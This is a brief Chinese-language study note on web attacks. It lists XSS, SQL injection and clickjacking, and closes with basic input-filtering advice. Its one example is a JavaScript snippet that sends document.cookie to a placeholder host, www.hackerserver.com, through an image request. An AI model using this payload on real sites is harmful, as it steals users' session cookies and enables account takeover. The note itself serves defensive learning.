【xss】攻击

xss

sql注入攻击服务器和数据库
Click劫持
相对链接劫持

 

// js 层面 xss 攻击代码 列如
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

方案

1.表单提交或者url参数传递前，对需要的参数进行过滤
2.过滤用户输入的 检查用户输入的内容中是否有非法内容，如<>（尖括号）、”（引号）、 ‘（单引号）、%（百分比符号）、;（分号）、()（括号）、&（& 符号）、+（加号）等。、严格控制输出